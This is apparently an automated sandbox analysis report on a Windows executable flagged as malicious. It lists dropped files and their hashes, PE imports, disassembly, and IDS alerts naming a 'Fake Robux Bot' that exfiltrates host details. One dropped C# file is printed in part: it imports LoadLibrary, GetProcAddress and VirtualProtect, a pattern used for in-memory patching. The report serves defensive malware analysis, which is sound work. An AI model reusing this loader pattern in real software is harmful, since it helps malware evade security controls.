Preview:	L...G..g.............debug$S........P...................@..B.rsrc$01........X.......4...........@..@.rsrc$02........P...>...............@..@........T....c:\Users\user\AppData\Local\Temp\rlfwipso\CSC770B74A1B374466B59916F033873949.TMP...............>.........I.C$..........5.......C:\Users\user\AppData\Local\Temp\RES8530.tmp.-.<....................a..Microsoft (R) CVTRES._.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe...............................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...r.l.f.w.i.p.s.o...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.

C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	56320
Entropy (8bit):	2.33688169239766
Encrypted:	false
SSDEEP:	384:fcSG5Fnm1dQ1ej1YFmq/KFnp4H7OIcu7VYSEtuhjRTK6xZbkvwKwq6uiPmo/PmU:kvUdacFnp67ONu7xEW1XxeseU
MD5:	BECD67D75C5E7C2411E9F481086CA1E0
SHA1:	F7F5F1A3AFB7E3454797B2CAD62D298BB1B20345
SHA-256:	E87B1FCB789B6957B5C99A1393738E928D3918F1E46DB20F761D57AD015AA385
SHA-512:	D86DA68BA9BD3C992B33C99A3B96DFFEA3032E9B769A91A7FED33EC654E48A61A6E6715C630080D5D5E6390F4FC09B398111EAAAD60E3304B552DD0AC353B67E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d................."...0......T........... .....@..... ....................... ............`...@......@............... ...................................R........................................................................................... ..H............text........ ...................... ..`.rsrc....R.......T..................@..@........................................H........2...#......!....U...O............................................(....6.(.....( .....(.....(.....(....,..(.....{....r...po.....{....o.....0..I........{....o........(.......(.....(Y(.......(.......(.....LY(.....{.....o....z(....,..{....o.....{....o....J.{....o.....(......{....r9..po....(.....{....o........0..F.......(......,<.{....o......3..{....rc..po....+..{....rq..po.....{....o....*...0..y.........s ...%%o!...j(....o".....o#...,J.r...p($...-..r...p($...-".r...p($

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1istzkbc.ti2.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1ttzo1vo.a3i.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5v1la4gh.yni.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dfdc00xi.rjy.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_k3vccvsu.w3b.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ljgnogbs.zhy.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nsc3nxof.kov.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sjtrlqj1.l4v.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_x4vkemcq.rkw.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xgrhaddf.zq3.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\rlfwipso\CSC770B74A1B374466B59916F033873949.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.0776654809300967
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryQWKak7Ynqq7W7PN5Dlq5J:+RI+ycuZhN6lakS7KPNnqX
MD5:	3EE8D301EF89F3A0E819F4B549AF4324
SHA1:	9341A5F5384FE8D0EBF165CC76C28F04EAF279C1
SHA-256:	28EF8A3AE0B95442472C2321510EF02F3B87A692E82E6A4505878E83CF05CD96
SHA-512:	90CB4B21C9F623762D019D7EF1A9BBE2BA9A69A4DF2C502CAE494FDF2EE0EDFA053FE1CD3238EC5CDDCDC71082EE1CF2ACEA34B13FB523F672715B9DAB54015F
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...r.l.f.w.i.p.s.o...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...r.l.f.w.i.p.s.o...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\rlfwipso\rlfwipso.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text
Category:	dropped
Size (bytes):	1140
Entropy (8bit):	4.751587839856729
Encrypted:	false
SSDEEP:	24:JjajwGHNw7+qFhL/+PS+oXG4mnF1D7ZTHtws4bx:JjaEGHNw7+Ib+6+oXZIF17Zrtws4bx
MD5:	FE35992F552A2057291C867108A5C2EB
SHA1:	3359CC35D11E68B353BBF06D03F1A9937E2689EE
SHA-256:	C6CD29B3B2981C29538DEB9B4445A10EC4993E93F058621F49E6AE294B4B6D1F
SHA-512:	8E639DB3A4696FFD380C495CF816B2571656D51AEA0B3DA75FBFC7151F1DE704FE1508FF61C95FC2AC2EF230FD6FEE48536C074D71F025675103B737128E9DFF
Malicious:	false
Preview:	.using System;.using System.Runtime.InteropServices;..public class MyUtilityClass {. // Renamed class for clarity.. // Additional variables. private const string Kernel32Library = "kernel32";. . // Function declarations. [DllImport(Kernel32Library)]. public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);.. [DllImport(Kernel32Library)]. public static extern IntPtr LoadLibrary(string name);.. [DllImport(Kernel32Library)]. public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);.. // Additional method for clarity. public static IntPtr LoadLibraryAndGetProcAddress(string libraryName, string procName) {. IntPtr hModule = LoadLibrary(libraryName);. if (hModule == IntPtr.Zero) {. throw new Exception("Failed to load library: " + libraryName);. }.. IntPtr procAddress = GetProcAddress(hModule, procName);. if (procAddress == In

C:\Users\user\AppData\Local\Temp\rlfwipso\rlfwipso.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (368), with no line terminators
Category:	dropped
Size (bytes):	371
Entropy (8bit):	5.166383701178749
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2923fVnDJUzxs7+AEszI923fVnP:p37Lvkmb6KzdnVUWZE2dnP
MD5:	F229F648D208FDA9FFC2B3A5DD68B6AC
SHA1:	CF1CDE081F3BA08E9070C4D1F8BC50D6DC4D4F3D
SHA-256:	038419E6071A72459BEC35CC661AFBC9B7CB523C90CF2D7DB89652CA83B99E43
SHA-512:	BFA24E835620B22A0F631C28365BC1965FD88DB2053FF5E45402DAC714AEF6B203247A58F8A760850683415FCA16EFBE5DFAAD32DA9E0BBD1313CD0A0CADEA54
Malicious:	true
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\rlfwipso\rlfwipso.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\rlfwipso\rlfwipso.0.cs"

C:\Users\user\AppData\Local\Temp\rlfwipso\rlfwipso.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	2.9753157496493152
Encrypted:	false
SSDEEP:	48:69zpLNvhfeRPBFLEPKhSJ65CXumwdvV1ulea3Kq:2JhfeR5dEs55GgK
MD5:	CDA913C03E0C9B3D48364A6AFFC561D4
SHA1:	2C423E293B5CB8D7F127C394C3C592EE016331A6
SHA-256:	2D2314435AC86DECE4136C9E7FB5A262F166F565A8E135B424FFE05116FCC844
SHA-512:	C01C813621606AE7FC543D4867183FB5FAF56C329F445990933FCC29EDCE2354EE21247989553D6700393CA225552DAD647D4D3E41F45B074138C786F9AFD6E7
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...G..g...........!.................%... ...@....... ....................................@..................................%..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................%......H........ ...............................................................0..M........(......~....(....,.r...p.(....s....z..(......~....(....,.r3..p.(....s....z...(.......BSJB............v4.0.30319......l.......#~..$.......#Strings........x...#US.d.......#GUID...t.......#Blob...........W.........%3........................................................................6./.........5.....U.....\|......./...../...../.............................Q.=.......... M............ \.$...

C:\Users\user\AppData\Local\Temp\rlfwipso\rlfwipso.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (451), with CRLF, CR line terminators
Category:	modified
Size (bytes):	872
Entropy (8bit):	5.26858235950681
Encrypted:	false
SSDEEP:	24:KMoId3ka6KzdnLE2dn2Kax5DqBVKVrdFAMBJTH:dokka6adnLE2dn2K2DcVKdBJj
MD5:	BA63D202D11B739B999850C59EA50CBC
SHA1:	33C3D310DC37EA670AC8459F8303275CD88E41DA
SHA-256:	893431E6D36BDCC0F59918EF7416D35A4101F849291B8A3030FCFBAE3B5E40D1
SHA-512:	B76265A6E06CFCCE2732E0BA144E028836F0F4B0EF2E33F09CAED5ECDF31CF44CB780FD2C7B1DF6AD50E60178ABB3E2E69A870BAD1632564B3DCE3A905CC0FD3
Malicious:	false
Preview:	.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\rlfwipso\rlfwipso.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\rlfwipso\rlfwipso.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	5.9957961480960105
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	xK44OOt7vD.exe
File size:	116'736 bytes
MD5:	5e40e28eed9c4ede7b34b64b6c58571c
SHA1:	61aef6b48e463a70a8bb414c43b497e0b4759f04
SHA256:	1e4a2d67df3b0a1f2d1f5d3af6587f9f222adf40c0a9d4976fc78a21d9efa5b5
SHA512:	07c12702eba320b6d1a05164bdbb17f4761d8f62eca03b1ccee149f0e694aa81c38ebdce85bd5f55874a788cc4df399ac82cdfa30a296dffe0cb4d86a659a3fb
SSDEEP:	3072:JQC4dsDFmTPIv/QYMwFA4tHaF7rEekeciY5wBUKzV:QCDFmTPIv/vFA4t6F7tkebBUE
TLSH:	50B35C4B76E131F8E1768279C8624A04E776B4324710EFAF03A4436A1F236D68D3EF61
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........................................................................................................=.............Rich...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x140002148
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x66C21BCD [Sun Aug 18 16:05:33 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	40a549ffe615ad2c830f4fd2287b00be

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F6E08956E64h
dec eax
add esp, 28h
jmp 00007F6E089567CFh
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
dec eax
mov ebx, ecx
xor ecx, ecx
call dword ptr [0000EF0Bh]
dec eax
mov ecx, ebx
call dword ptr [0000EEFAh]
call dword ptr [0000EE8Ch]
dec eax
mov ecx, eax
mov edx, C0000409h
dec eax
add esp, 20h
pop ebx
dec eax
jmp dword ptr [0000EEF0h]
dec eax
mov dword ptr [esp+08h], ecx
dec eax
sub esp, 38h
mov ecx, 00000017h
call dword ptr [0000EEE4h]
test eax, eax
je 00007F6E08956959h
mov ecx, 00000002h
int 29h
dec eax
lea ecx, dword ptr [00019A4Ah]
call 00007F6E08956B1Eh
dec eax
mov eax, dword ptr [esp+38h]
dec eax
mov dword ptr [00019B31h], eax
dec eax
lea eax, dword ptr [esp+38h]
dec eax
add eax, 08h
dec eax
mov dword ptr [00019AC1h], eax
dec eax
mov eax, dword ptr [00019B1Ah]
dec eax
mov dword ptr [0001998Bh], eax
dec eax
mov eax, dword ptr [esp+40h]
dec eax
mov dword ptr [00019A8Fh], eax
mov dword ptr [00019965h], C0000409h
mov dword ptr [0001995Fh], 00000001h
mov dword ptr [00019969h], 00000001h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1a66c	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x20000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x1d000	0x10d4	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x21000	0x680	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x18b30	0x70	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x189f0	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x11000	0x278	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xf8f0	0xfa00	d05f3e0ef5e377621c91f3cb80223cdf	False	0.565984375	data	6.469437482287219	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x11000	0x9eb6	0xa000	f4582f22af46589d667e651f5e207a60	False	0.42392578125	data	4.676414080434842	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x1b000	0x1d18	0xc00	993da647dd641fbaf36929931af98c97	False	0.14811197916666666	data	2.176154310106065	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x1d000	0x10d4	0x1200	bdb3494ff026aa3585ed240d4c64ac2b	False	0.4509548611111111	data	4.701942526719369	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
_RDATA	0x1f000	0x1f4	0x200	23a8daedd110b0d61c8a6ead752e7726	False	0.5234375	data	3.701987968012486	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x20000	0x1e0	0x200	045453f3484a5fb7bc6b7c8c2c73748f	False	0.525390625	data	4.701503258251789	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x21000	0x680	0x800	aaf1d03126560bb69ac2675415c6536f	False	0.49560546875	data	4.923722535135499	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x20060	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL

Import

KERNEL32.dll

WriteProcessMemory, GetCurrentProcess, WaitForSingleObject, MultiByteToWideChar, Sleep, CloseHandle, LoadLibraryW, GetProcAddress, CreateProcessA, WriteConsoleW, CreateFileW, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TerminateProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, RtlUnwindEx, RtlPcToFileHeader, RaiseException, GetLastError, SetLastError, EncodePointer, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, LoadLibraryExW, GetStdHandle, WriteFile, GetModuleFileNameW, ExitProcess, GetModuleHandleExW, HeapAlloc, HeapFree, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, GetCommandLineA, GetCommandLineW, WideCharToMultiByte, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetStdHandle, GetFileType, GetStringTypeW, FlsAlloc, FlsGetValue, FlsSetValue, FlsFree, LCMapStringW, GetProcessHeap, HeapSize, HeapReAlloc, FlushFileBuffers, GetConsoleOutputCP, GetConsoleMode, SetFilePointerEx

USER32.dll

MessageBoxA

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-15T16:00:07.194122+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49769	185.199.110.133	443	TCP
2024-10-15T16:00:08.400543+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49774	185.199.110.133	443	TCP
2024-10-15T16:00:23.523479+0200	2857658	ETPRO MALWARE Win32/Fake Robux Bot Registration	1	192.168.2.5	49860	162.159.138.232	443	TCP
2024-10-15T16:00:40.331436+0200	2857659	ETPRO MALWARE Win32/Fake Robux Bot Host Details Exfil	1	192.168.2.5	49952	162.159.138.232	443	TCP
2024-10-15T16:00:47.351688+0200	2857659	ETPRO MALWARE Win32/Fake Robux Bot Host Details Exfil	1	192.168.2.5	49990	162.159.138.232	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 15, 2024 16:00:01.165427923 CEST	49736	80	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:01.170383930 CEST	80	49736	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:01.170458078 CEST	49736	80	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:01.173451900 CEST	49736	80	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:01.178296089 CEST	80	49736	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:02.197869062 CEST	80	49736	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:02.197904110 CEST	80	49736	185.199.110.133	192.168.2.5
